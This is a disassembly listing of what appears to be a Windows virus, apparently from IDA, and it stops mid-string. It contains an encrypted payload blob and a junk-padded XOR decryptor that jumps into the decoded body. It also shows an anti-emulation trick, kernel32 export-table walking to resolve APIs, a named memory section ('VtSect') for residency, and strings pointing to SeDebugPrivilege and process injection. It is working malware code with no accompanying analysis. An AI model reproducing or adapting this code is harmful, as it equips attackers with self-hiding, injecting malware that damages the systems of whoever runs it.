		dd 14BBD499h, 0DE280B45h, 0AC3C504Bh, 51C2FADAh, 0B1060C08h
		dd 6976741Eh, 24AC21A4h, 0C9641297h, 5A2FDAB5h,	74B6010Fh
		dd 2859EFC3h, 0A179FBFAh, 0CFE06C10h, 77BECE05h, 4AADAC35h
		dd 25825B87h, 0BD1F689Eh, 0BA0530AFh, 1176BCC5h, 5B9016F2h
		dd 3EAB1122h, 8AE3A144h, 88495DF6h, 58042158h, 67A45D46h
		dd 8A32C8C4h, 189A14A1h, 0BFB5D0CDh, 8EA1791Ah,	6EBCC04Fh
		dd 2CAAB334h, 0CB9EBCFEh, 906A7049h, 29145B36h,	4253BC10h
		dd 0B4D53A1h, 66A16C23h, 0E0143629h, 4C136415h,	20D88E58h
		dd 9088DDB1h, 1021F24Eh, 8B50A658h, 9926590Ch, 3C01087Fh
		dd 0B29D3DA0h, 4BC27077h, 7C41B4ACh, 60078C54h,	643E9C43h
		dd 0BC6810C3h, 0C2706CCFh, 11AB4450h, 5818C654h, 5C218668h
		dd 0C40887Ch, 0A7084467h, 80768E4Ah, 24CC33F8h,	13F27835h
		dd 1BE5C6ABh, 5801E6EDh, 0E1784136h, 3C5AB5C9h,	645FB472h
		dd 41A8B438h, 2FC22BB2h, 6D2B2B4Dh, 0A0F2DE4Ch,	0E56BF9BEh
		dd 0A1449FDAh, 97C94C6Bh, 0AB2BD3CAh, 32CBA5C4h, 8C3C524h
		dd 0DC424D58h, 580817FDh, 0BC46564Dh, 13B31C11h, 54E2AC7Ch
		dd 0BB348996h, 0C4054262h, 0A08D890h, 270E051Ah, 35145D6Ch
		dd 6B204CE4h, 44BE6E0Ch, 0A42BD8F8h, 5090ADB2h,	5BD15882h
		dd 74723456h, 284C2552h, 8262878Eh, 2E4E404Eh, 43D6F2F4h
		dd 2CD84C8Bh, 0E81ECF65h, 0A4CAF3F3h, 8C586110h, 320CAD6Eh
		dd 89361688h, 854925E0h, 6FCA9D2Bh, 3443F83Bh, 29F9CF5Bh
		dd 9445878Dh, 5C3C7908h, 7385BC42h, 54EA216Dh, 7E19634Dh
		dd 2969A120h, 0E43D9D5Bh, 36226FC8h, 0C6B82F8Dh, 1E29E7F2h
		dd 0E0E04AB1h, 9884A62Eh, 0F6154A21h, 58B8058Eh, 5CE35A8Ah
		dd 0EB563DC8h, 0B68E040Ch, 4E38FD37h, 0B6A64EB4h, 0E8453FFh
		dd 0C2B970AFh, 11B4463Eh, 0BBB4A63Ch, 89CF7B51h, 89E341B1h
		dd 4E2442Bh, 0ADA6B8A8h, 8881CF2Eh, 0A2DC5460h,	509CB517h
		dd 4AD888A1h, 69B8A78Fh, 80844AD0h, 73503306h, 0B57032B3h
		dd 2B160424h, 0E9205861h, 5B4CD2C1h, 58688A1Dh,	628A7772h
		dd 7AD16E5Ch, 5C8B0FCAh, 33E9C39Dh, 0E0428501h,	444E2640h
		dd 0DA628300h, 4147E9AAh, 0D1723318h, 29243859h, 588908B5h
		dd 35C4035Bh, 0B0323476h, 9A825EBEh, 0A335B38h,	0D1C86623h
		dd 6880BE0h, 213EE0C4h,	22916768h, 83D69E0h, 82D44E78h
		dd 0D1CC7E1Ah, 51B72213h, 63BD4DF5h, 0BC022226h, 0BE06A8Eh
		dd 9CC54A1Ch, 25AF589h,	0F94ADCEAh, 0B35CC5B4h,	89F95279h
		dd 12E5E79Ch, 2EB7B2DEh, 35C80578h, 41A80EB7h, 3EAC54D8h
		dd 3F59BFCEh, 4A6AC2D6h, 883506Ch, 0A9503D48h, 3D082695h
		dd 0BC716821h, 0FDC4B50Ah, 0D438D59Dh, 0E3CE773Fh, 0BA4888BBh
		dd 438C7844h, 3954C860h, 283E5EE2h, 0B366E256h,	65979C20h
		dd 262D2476h, 0F6C90FDCh, 0B4821BD4h, 0FEBA6DEEh, 0D2568810h
		dd 0C8C5ED40h, 451AE8AEh, 505447E8h, 423F1AF0h,	859C9C5Bh
		dd 8129B55h, 0E052F06Bh, 586B4230h, 55081A77h, 0BA927559h
		dd 9C59CF02h, 0B114974Ah, 0EF65D19Eh, 98B2FFB8h, 1675C6CAh
		dd 92995CF9h, 16A08C4Fh, 0BC8F554Bh, 0F6B1C911h, 4013BDB8h
		dd 4F31EAE4h, 0C17355C9h, 0FC59B781h, 0F0CD3AB1h, 0A9D3C363h
		dd 594888F0h, 3E2A068Eh, 0DD4FADB4h, 11A14F79h,	8904D44h
		dd 0A1531E46h, 995D59C7h, 3A5249D6h, 67AB8550h,	0CB4B21CFh
		dd 0A4215818h, 1E0EE8A5h, 4015330Bh, 0C6BCED73h, 0CFB8677h
		dd 8E12F96Ch, 0C5854290h, 0E498CD14h, 3DCFE453h, 40342F45h
		dd 981DAE50h, 292B8440h, 81D175Bh, 0B0643476h, 934940E6h
		dd 28BDF246h, 0AACA33Dh, 0AD98D84Ah, 8BDF3E17h,	749E540Fh
		dd 9337128Bh, 0A1194FFEh, 4C17239Fh, 0B41A6F3h,	0A5D8DCFBh
		dd 275C50D5h, 0C542A190h, 0A5391AEFh, 0BB753244h, 868F76FDh
		dd 883237D0h, 0F4A93D8Bh, 0B417A130h, 0CAE2F360h, 0A44577FDh
		dd 14442032h, 64CE5841h, 5B9D4208h, 543A1BD2h, 323B4519h
		dd 2833589Ah, 0EA34404Ch, 163653D8h, 0D8955198h, 23125FFFh
		dd 544CE8B1h, 0EB0A8BBDh, 17E2F4D4h, 8A8B9B7Ah,	3F6389CCh
		dd 1597B2C2h, 5BE19791h, 0D7654B0Ah, 40B094F2h,	63A7FCCDh
		dd 232B9044h, 0F769C990h, 17C932A1h, 0ABE2B760h, 0E9161589h
		dd 0AD3060FDh, 0ACC0AB83h, 442D9BE7h, 0BF8B91C5h, 72969234h
		dd 0D0A38904h, 0E77BCC23h, 9D6C8345h, 398D64C4h, 59989EE8h
		dd 2D953270h, 45AE45FCh, 0CB8B5940h, 1C8D25BCh,	35B917FEh
		dd 0AF8C5732h, 0FCF5705Dh, 9B86C980h, 2A1FA55h,	0D4AF298Dh
		dd 605494A9h, 79DBB264h, 68B22564h, 0CD1E4F5Bh,	119DA17Bh
		dd 28A8590Bh, 0FC59F293h, 0E6221122h, 0F77739B7h, 0B4CC8DD8h
		dd 1F8E4629h, 0B903B176h, 2804F577h, 0B78F3295h, 602D2413h
		dd 0E6674BDFh, 34D81851h, 5BF53D25h, 61578E08h,	636B581Bh
		dd 90A27C69h, 5441A858h, 0B1560D85h, 58BFCC0Dh,	0C47ADB96h
		dd 0E3A05ACEh, 0A09679F1h, 4439D862h, 900824A2h, 5E586207h
		dd 5180D85h, 2291F805h,	6E116C12h, 7A39F209h, 50F53810h
		dd 8CCD3039h, 0DA1C480h, 0EE869581h, 444AE0BFh,	0B4A6BF88h
		dd 92024AB9h, 8C58E248h, 5CDA3126h, 9229178Eh, 7F3B113Fh
		dd 0A829D07Fh, 0CC110F93h, 510507Dh, 7D12A630h,	0B602D3DAh
		dd 982E9418h, 91BDC5BCh, 35413257h, 99BB5B22h, 0EDA4DF0Dh
		dd 29B81388h, 15781D60h, 906E071Fh, 0CCDBABB2h,	4596A294h
		dd 8237B47h, 66BCFCB5h,	2094E825h, 16BBB6ECh, 59EECB2Dh
		dd 0DE95936Fh, 0CD3C1841h, 2CDC995Bh, 353AC30Ah, 28215EF4h
		dd 5284CC83h, 9817C036h, 38F82194h, 0AD58104Ch,	11E6B96Fh
		dd 60BE45BEh, 0AF409CE8h, 0A68075D8h, 0B1583497h, 0D65AD239h
		dd 0DCE48857h, 44203816h, 5408F1DAh, 509BA9D4h,	2F3328B5h
		dd 5DE9D070h, 940D56B3h, 2E6E192Ah, 392140FDh, 0BDDF3435h
		dd 219806AAh, 26B8BA34h, 0BCF00C30h, 910DA5B4h,	128CA280h
		dd 21859A6Bh, 9162F59Eh, 0DB4532A2h, 3808B3CDh,	80884C42h
		dd 0C88859A5h, 94B77622h, 0B46C2997h, 316844F7h, 96084B98h
		dd 1E3E6E42h, 8C94D945h, 4520D80Dh, 29A89F08h, 659811DCh
		dd 17050592h, 31F16458h, 0D579170Bh, 0E1DF2A5Bh, 0C2AD2008h
		dd 45346D67h, 6BB635B4h
		dd 0A934142Dh, 0A6C337A0h, 23D351Bh, 31347740h,	42F05388h
		dd 0F2A26D5Bh, 661195D0h, 31F42003h, 409B47Eh, 4AD02FA9h
		dd 38647713h, 8D2B32D9h, 37423109h, 534C883Ah, 0D2DAA2CDh
		dd 0E98A9424h, 0CBFA5B19h, 0B8C89D30h, 0EE7FB3DEh, 67A95773h
		dd 57B3288Bh, 6BB2254Bh, 0DE05759Ah, 440ACC92h,	0EC88B399h
		dd 0B24BC8A0h, 989344FCh, 0B3EC95E9h, 38540C1Bh, 0E07C39h
		dd 406B39h, 40103844h, 52454B07h, 334C304Eh, 64382E32h
		dd 8001F06Ch, 43746547h, 0B3C77275h, 0B150BB6Eh, 73F5636Fh
		dd 432633C7h, 0A7F7611Ch, 6F6DC352h, 68540C19h,	289D641Bh
		dd 1A69DA57h, 0BF4D2219h, 2879B135h, 74D86956h,	6C611B75h
		dd 2E198E41h, 44207845h, 69F570F5h, 48773AEBh, 6DB86E37h
		dd 0C63EB23h, 3669461Ch, 4CAD410Ch, 3C1A7357h, 469E6657h
		dd 0FE53768Ah, 4F1EC367h, 63A36A62h, 78B34FDh, 1E644162h
		dd 4CCF88D4h, 69A1F49Bh, 0DAB6F762h, 91A94156h,	55498E94h
		dd 86573714h, 73776FB0h, 798CA344h, 6C2AA989h, 0ACDCCFFBh
		dd 0CA34A46Eh, 0BF94678Ah, 7DC044A8h, 30536C76h, 33CD73E3h
		dd 910D6D46h, 0F04E0B08h, 0A7745778h, 88A0F41h,	0C8107372h
		dd 0B47015D9h, 0CF76E676h, 6D0D6F28h, 33450AFDh, 37628247h
		dd 1AF246B4h, 680BCA0Ch, 0A549277h, 0C427024h, 4168614Eh
		dd 53485391h, 63655F67h, 46090F11h, 1314184h, 0F5436BA6h
		dd 2DC0A375h, 0D0A36D2Bh, 159EECBDh, 65E8A049h,	67753862h
		dd 3C726DF5h, 2D94EE38h, 9331A7A5h, 75E16F4Dh, 687CCEA1h
		dd 7970893Fh, 0E7531039h, 5A9C1E41h, 0D6533F2Fh, 0D9AB7FECh
		dd 733ABA68h, 62DA8A20h, 64BB1C2Bh, 9D78334Dh, 8424FF52h
		dd 7A358945h, 67691D22h, 30373537h, 70795466h, 0BD5338A1h
		dd 0FFE0F97Ch, 0A7EC03C9h, 89F95575h, 0A4731476h, 81B7AC63h
		dd 0DF20685Fh, 64706E55h, 0CD1929BFh, 0DE47FEB2h, 6921DEA3h
		dd 0B320F8A9h, 194D2ECCh, 0A4677961h, 6E1AC628h, 7901275h
		dd 7D9C7049h, 77016641h, 5700110Ch, 5F473253h, 9080366h
		dd 630E1344h, 49413080h, 16749C2Ah, 0A3330A44h,	6B0D9412h
		dd 1484DE96h, 9034C14h,	12058912h, 480F2411h, 22729102h
		dd 30C4501h, 9220901h, 16964407h, 7D470B89h, 4187F40Ah
		dd 50325644h, 90F69449h, 9FE98338h, 4924E85Ah, 434DC620h
		dd 58351A1h, 14591FAEh,	4FCFFA68h, 1C6ED47Dh, 43840ED1h
		dd 4B78C44Dh, 3B1472E0h, 5C9B1F86h, 0C56A15C8h,	0D16D0C68h
		dd 8F549631h, 6567C0C3h, 2D7244C4h, 0FE3C0973h,	67F6764Ch
		dd 0EDA33EACh, 0E9BF66E3h, 4CCEF61Bh, 55AE6CFAh, 3E7B87D1h
		dd 3379294Bh, 0AB413278h, 56F92624h, 64751EFCh,	241021B5h
		dd 0FE6BCD32h, 756398B8h, 49FC3EBAh, 3C6F66C9h,	685E9107h
		dd 443BEA10h, 534D44E4h, 434F9080h, 0C3A934Bh, 73F47254h
		dd 0A6696D26h, 801C6Dh,	0
		dd offset dword_406B38+1
aLoadlibrarya	db 'LoadLibraryA',0
aGetprocaddress	db 'GetProcAddress',0
		dd 3 dup(0)
		dd 700C00h, 6DDAE900h, 0FFFFh, 200h, 700C00h, 31Eh dup(0)
		db 87h,	0DBh
; ---------------------------------------------------------------------------
		cmc
		push	ebp
		mov	ebp, esp
		call	loc_40A018
		stc
		clc
		call	sub_40A0C1
		clc
		jmp	loc_40A041
; ---------------------------------------------------------------------------


loc_40A018:				; CODE XREF: __u_____:0040A006p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	ds:dword_40A043, ebp
		mov	eax, eax
		xor	edx, edx
		push	edx
		push	10000h
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		call	ds:dword_40700C	; LoadLibraryA


loc_40A041:				; CODE XREF: __u_____:0040A013j
		stc
; ---------------------------------------------------------------------------
		db 0BDh
dword_40A043	dd 12FFC0h			db 8Bh
		dd 6467F875h, 3689h, 29DB87F9h
		db 0C0h
; ---------------------------------------------------------------------------


loc_40A055:				; CODE XREF: __u_____:0040A05Bj
		dec	al
		or	al, al
		jz	short loc_40A05F
		jnz	short loc_40A055
; ---------------------------------------------------------------------------
		db 0EBh, 67h
; ---------------------------------------------------------------------------


loc_40A05F:				; CODE XREF: __u_____:0040A059j
		clc
		stc
		cld
		sub	esi, esi
		sub	ecx, ecx
		cld
		xchg	ebx, ebx
		mov	cl, 2Dh
		xchg	ebx, ebx
		xchg	ebx, ebx
		jmp	short $+2


loc_40A071:				; CODE XREF: __u_____:0040A076j
		lea	esi, [esi+1]
		clc
		dec	ecx
		jnz	short loc_40A071
		cld
		call	sub_40A094
		stc
		mov	edx, edx

; =============== S U B	R O U T	I N E =======================================



sub_40A081	proc near		; CODE XREF: sub_40A094:loc_40A0AAp
		mov	al, [ebx]
		mov	ecx, ecx
		cld
		nop
		nop
		xor	ax, si
		clc
		cld
		clc
		xchg	al, [ebx]
		stc
		stc
		retn
sub_40A081	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40A094	proc near		; CODE XREF: __u_____:0040A079p
		pop	ebx
		nop
		sub	ebx, 0FFFFFFAAh
		mov	edx, 29CCh
		mov	ebx, ebx
		xchg	ebx, ebx
		mov	ebx, ebx
		push	ebx
		stc
		clc


loc_40A0AA:				; CODE XREF: sub_40A094+21j
		call	sub_40A081
		nop
		inc	ebx
		dec	edx
		nop
		or	edx, edx
		jnz	short loc_40A0AA
		pop	ebx
		cld
		cmc
		leave
		jmp	ebx
sub_40A094	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 89h,	0C9h
		db 87h,	0DBh

; =============== S U B	R O U T	I N E =======================================



sub_40A0C1	proc near		; CODE XREF: __u_____:0040A00Dp

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_40A0C1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		stc
		jmp	short $+2
		mov	ecx, ecx


loc_40A0D4:				; DATA XREF: __u_____:0040D3DCo
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29BBh]
		mov	[eax+3303h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_40A121
		pop	ecx
		mov	[eax+3307h], esi
		mov	cl, [eax+29BFh]
		mov	[eax+330Bh], edi
		cmp	cl, 0E8h
		jz	short loc_40A115
		mov	ebx, [eax+29C1h]
		jmp	short loc_40A11F
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: __u_____:0040A10Bj
		mov	ecx, [eax+29C0h]
		mov	ebx, [ecx+ebx+2]


loc_40A11F:				; CODE XREF: __u_____:0040A113j
		mov	ebx, [ebx]


loc_40A121:				; CODE XREF: __u_____:0040A0F3j
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 0D60h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039CCh]
		mov	ecx, 0
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_40A14F
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_40A14F:				; CODE XREF: __u_____:0040A148j
		and	ebx, 0FFFFF000h


loc_40A155:				; CODE XREF: __u_____:0040A164j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_40A166


loc_40A15E:				; CODE XREF: __u_____:0040A173j
		sub	ebx, 100h
		jnz	short loc_40A155


loc_40A166:				; CODE XREF: __u_____:0040A15Cj
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_40A15E
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_40A180:				; CODE XREF: __u_____:loc_40A194j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_40A194
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_40A199


loc_40A194:				; CODE XREF: __u_____:0040A189j
		loop	loc_40A180
		pop	ecx
		jmp	short loc_40A1C4
; ---------------------------------------------------------------------------


loc_40A199:				; CODE XREF: __u_____:0040A192j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_40A20B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A252


loc_40A1C4:				; CODE XREF: __u_____:0040A197j
					; sub_40A252+10j ...
		mov	eax, [ebp+1039C0h]
		and	eax, 400000h
		jz	short loc_40A1F0
		lea	esi, [ebp+1039C4h]
		lodsd
		mov	edi, [esp+arg_0]
		stosd
		mov	ebx, [ebp+104308h]
		movsb
		mov	edi, [ebp+104310h]
		mov	esi, [ebp+10430Ch]


loc_40A1F0:				; CODE XREF: sub_40A252-83j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40A252
; ---------------------------------------------------------------------------
		dw 0A828h

; =============== S U B	R O U T	I N E =======================================



sub_40A1F4	proc near		; CODE XREF: sub_40C52F+2DFp
		push	ebx
		mov	ecx, 2889h
		mov	ebx, edx


loc_40A1FC:				; CODE XREF: sub_40A1F4+13j
		xor	[eax], dl
		sub	dl, bl
		add	eax, 1
		xchg	bl, bh
		xchg	dl, dh
		loop	loc_40A1FC
		pop	ebx
		retn
sub_40A1F4	endp

; ---------------------------------------------------------------------------


loc_40A20B:				; CODE XREF: __u_____:0040A1C2j
		call	near ptr loc_40A21A+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_40A277+3
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_40A21A:				; CODE XREF: __u_____:loc_40A20Bp
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+103E62h], eax
		call	near ptr loc_40A236+1
		inc	ebx
		jb	short loc_40A292
		popa
		jz	short near ptr loc_40A294+1
		inc	ebp
		jbe	short near ptr loc_40A294+4
		outsb
		jz	short loc_40A277


loc_40A236:				; CODE XREF: __u_____:0040A225p
		add	[ebx-1], dl
		setalc
		mov	[ebp+103E66h], eax
		call	sub_40A252
		inc	edi
		db	65h
		jz	short near ptr loc_40A294+1
		popa
		jnb	short near ptr loc_40A2BE+2
		inc	ebp
		jb	short near ptr loc_40A2BE+3
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_40A252	proc near		; CODE XREF: __u_____:0040A240p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040A1C4 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0040A608 SIZE 0000000B BYTES

		push	ebx
		call	esi
		mov	[ebp+103E6Ah], eax
		call	sub_40A633
		test	eax, eax
		jz	loc_40A1C4
		push	eax
		call	dword ptr [ebp+103E6Ah]
		test	eax, eax
		jnz	loc_40A608


loc_40A277:				; CODE XREF: __u_____:0040A234j
					; __u_____:0040A213j
		cmp	byte ptr [ebp+10153Fh],	1
		jnz	short loc_40A294
		push	dword ptr [ebp+104308h]
		dec	byte ptr [ebp+10153Fh]
		pop	dword ptr [ebp+101598h]


loc_40A292:				; CODE XREF: __u_____:0040A22Bj
		jmp	short loc_40A29B
; ---------------------------------------------------------------------------


loc_40A294:				; CODE XREF: sub_40A252+2Cj
					; __u_____:0040A22Ej ...
		and	dword ptr [ebp+101598h], 0


loc_40A29B:				; CODE XREF: sub_40A252:loc_40A292j
		and	dword ptr [ebp+101588h], 0
		and	dword ptr [ebp+10158Ch], 0
		and	dword ptr [ebp+101590h], 0
		push	edi
		mov	byte ptr [ebp+1012D4h],	1
		mov	[ebp+103E6Eh], esi


loc_40A2BE:				; CODE XREF: __u_____:0040A24Aj
					; __u_____:0040A24Dj
		lea	esi, [ebp+101604h]
		xor	ecx, ecx
		lea	edi, [ebp+103E7Ah]
		mov	cl, 20h
		call	sub_40A670
		pop	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	loc_40A3B7
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+103E72h], eax
		push	7328h
		push	0
		call	dword ptr [ebp+103EF2h]
		test	eax, eax
		jz	loc_40A608
		xchg	eax, edi
		lea	esi, [ebp+7A28C600h]
		xchg	ch, bh
		mov	ecx, 0CCAh
		sub	ebp, 101000h
		lea	edx, [ebp+101254h]
		rep movsd
		jmp	edx
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+101B4Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+103E72h]
		add	esp, 20h
		test	eax, eax
		jz	loc_40A608
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+103E72h]
		test	eax, eax
		jz	loc_40A608
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+103E72h]
		push	1000Ah
		call	dword ptr [ebp+103E72h]
		call	loc_40A3A7
		jmp	loc_40A608
; ---------------------------------------------------------------------------


loc_40A3A7:				; CODE XREF: sub_40A252+14Bp
					; sub_40A252+162j
		push	1
		pop	ecx
		jecxz	short locret_40A3B6
		push	0Ah
		call	dword ptr [ebp+103EE6h]
		jmp	short loc_40A3A7
; ---------------------------------------------------------------------------

locret_40A3B6:				; CODE XREF: sub_40A252+158j
		retn
; ---------------------------------------------------------------------------


loc_40A3B7:				; CODE XREF: sub_40A252+8Bj
		cmp	dword ptr [ebp+103E92h], 0
		jz	loc_40A608
		call	near ptr loc_40A3CE+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_40A3CE:				; CODE XREF: sub_40A252+172p
		add	bh, bh
sub_40A252	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		lea	esi, [ebp+1017DEh]
		xor	ecx, ecx
		lea	edi, [ebp+103EFAh]
		mov	cl, 0Eh
		xchg	eax, ebx
		call	sub_40A670
		cmp	dword ptr [ebp+103F2Eh], 0
		jz	loc_40A608
		mov	eax, [ebp+103EFEh]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103917h]
		mov	eax, [ebp+103F16h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103964h]
		mov	eax, [ebp+103F02h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+10396Bh]
		cmp	dword ptr [ebp+10396Bh], 10000h
		jnb	loc_40A608
		mov	ecx, [ebp+103F06h]
		jecxz	short loc_40A457
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103978h]
		mov	ecx, [ebp+103F0Eh]
		jecxz	short loc_40A457
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103985h]


loc_40A457:				; CODE XREF: __u_____:0040A43Bj
					; __u_____:0040A44Cj
		call	sub_40A614
		lea	edi, [ebp+103F84h]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+1015EBh]
		mov	ecx, 19h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah
		lea	edx, [ebp+103E30h]


loc_40A4A0:				; CODE XREF: __u_____:0040A4A9j
		lodsb
		mov	[edx], ax
		stosw
		add	edx, 2
		loop	loc_40A4A0
		mov	edx, esp
		push	0
		push	7328h
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+103F0Ah]
		pop	eax
		add	esp, 40h
		push	7328h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	7328h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+103F12h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_40A608
		lea	esi, [ebp+101000h]
		mov	ecx, 0CCAh
		mov	ebp, edi
		rep movsd
		sub	ebp, 101000h
		lea	eax, [ebp+10144Ah]
		jmp	eax
; ---------------------------------------------------------------------------
		dw 5450h
		dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh
		dd 11E8h, 44655300h, 67756265h,	76697250h, 67656C69h, 0E8570065h
		dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh,	6295FF57h, 6A00103Eh
		dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h
		dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h
		dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h
		dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh,	33000005h
		dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h
		dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh
		dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h
		dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h
		dd 103E62h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A252


loc_40A608:				; CODE XREF: sub_40A252+1Fj
					; sub_40A252+B2j ...
		call	dword ptr [ebp+103E62h]
		jmp	loc_40A1C4
; END OF FUNCTION CHUNK	FOR sub_40A252
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40A614	proc near		; CODE XREF: __u_____:loc_40A457p
					; sub_40A633+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
		mov	eax, esp
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
sub_40A614	endp

; ---------------------------------------------------------------------------
aVx_4		db 'Vx_4',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_40A633	proc near		; CODE XREF: sub_40A252+9p
		xor	ecx, ecx
		call	sub_40A614
		lea	edx, [ebp+101559h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+103E66h]
		add	esp, 20h
		retn
sub_40A633	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		dd 585858h, 3328h, 0E73h, 3 dup(0)
		dd 29C0h, 0

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40A252+7Cp
					; __u_____:0040A3E6p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103E6Eh]
		stosd
		pop	ecx


loc_40A67B:				; CODE XREF: sub_40A670+Ej
		lodsb
		test	al, al
		jnz	short loc_40A67B
		loop	sub_40A670
		retn
sub_40A670	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A683	proc near		; CODE XREF: sub_40C201+25p

; FUNCTION CHUNK AT 0040A70D SIZE 000003C0 BYTES
; FUNCTION CHUNK AT 0040AADD SIZE 00000027 BYTES

		lea	edx, [ebp+101985h]
		push	edx
		call	dword ptr [ebp+103EC6h]
		mov	[ebp+104288h], eax
		call	near ptr loc_40A6B0+1
		dec	esp
		outsd
		outsd
		imul	esi, [ebp+70h],	50h
		jb	short loc_40A70D
		jbe	short near ptr loc_40A70D+2
		insb
		db	65h, 67h, 65h
		push	esi
		popa
		insb
		jnz	short loc_40A714
		inc	ecx


loc_40A6B0:				; CODE XREF: sub_40A683+13p
		add	[eax-1], dl
sub_40A683	endp ; sp-analysis failed

		xchg	eax, ebp
		outsb
		db	3Eh
		adc	[eax], al
		mov	[ebp+10428Ch], eax
		retn
; ---------------------------------------------------------------------------
		db  5Ch	; \
		db  42h	; B
		db  61h	; a
		db  73h	; s
		db  65h	; e
		db  4Eh	; N
		db  61h	; a
		db  6Dh	; m
		db  65h	; e
		db  64h	; d
		db  4Fh	; O
		db  62h	; b
		db  6Ah	; j
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db  73h	; s
		db  5Ch	; \
		db  56h	; V
		db  74h	; t
		db  53h	; S
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db    0
		db  6Ch	; l
		db  73h	; s
		db  74h	; t
		db  72h	; r
		db  6Ch	; l
		db  65h	; e
		db  6Eh	; n
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
